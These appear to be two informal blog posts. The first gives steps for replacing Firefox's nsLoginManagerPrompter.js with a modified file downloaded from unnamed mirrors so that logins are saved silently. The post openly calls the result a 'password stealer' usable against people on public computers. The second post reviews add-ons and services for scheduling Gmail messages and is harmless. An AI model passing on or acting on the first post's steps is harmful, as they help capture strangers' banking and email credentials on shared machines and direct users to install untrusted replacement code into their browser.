Autosave passwords in firefox

The login details used to login for websites in firefox could be made to save them automatically by just altering some stuffs in the firefox. Firefox being a opensource product makes one get the source codes of the application easily and just a change in them can create big differences on many aspects.

The login details used on firefox made to be auto saved can be used for phishing purposes easily so beware while logging to sites via firefox when it is done in public computers as one can easily loose their login details be it of online banking, emails or any other stuff which in other words ones loss can be to any extent depending on the sites login details the person lost.

This method can also be used for personal benifits like one getting the login details saved automatically in the browser without getting asked everytime to save it. This can be pretty handy for people who use huge amount of different login details on their secured personal system/laptop.

just follow the below steps for this hack to work so that firefox starts saving login details used through it automatically and in other words which make it password stealer.

  • Locate the file named nsLoginManagerPrompter.js in the installed location of the firefox. ex : C:\Program Files\Mozilla Firefox\components
  • Download this file (mirror1 or mirror2) and extract the rar archive and then replace the extracted file with this file nsLoginManagerPrompter.js which is present in installed firefox location.
  • This will start saving the passwords automatically in firefox.
 The saved passwords can be accessed just like the normal way one can see the saved passwords in firefox i.e Tools >>> options >>> security tab >>> saved passwords >>> show saved passwords >>> yes.

Scheduling of Email in Gmail

Gmail even though not having the option of scheduling of emails still email can be scheduled in gmail using addons like boomerang or applications like lettermelater r by using pop3 r IMAP settings.


Some of the methods in scheduling email in gmail are --->


1) Boomerang is a addon available for chrome and firefox which allows to schedule messages to be sent after a set time and even allows you to schedule an exact time for the message to be sent.

 

Once the message is scheduled, Boomerang will store the email headers on their servers and sends it at the specified time.

Boomerang’s usability is not just of scheduling email messages in Gmail, it even offers the de-cluttering of your Inbox in gmail like by hiding certain emails and only displaying it after a certain time. This can be quite handy at times like getting notified from it automatically. 



People can get the Boomerang from their site

The main disadvantage of Boomerang is having access to the privacy of the gmail users who use it as it will have the messages stored in their servers.

However, Boomerang makes it clear that they only store the email headers of a message on their servers so that they can identify it, and do not store the email body other than that.




The Above video does explain the operation of boomerang.

2)Services like Outlook and Thunderbird- For these services to be used one needs outlook or thunderbird installed in their system and then connect the Gmail account with IMAP and once it being connected then follow this simple guide it finishes the job. and as emails are saved in local system one needs their system to be turned ON at the time of schedule for their email to be sent.

3) Email Scheduling Services like lettermelater.com and momentomail.com has options to send email at scheduled time. these services are usefull not only in scheduling emails of gmail but for other email service providers like yahoo, hotmail etc...
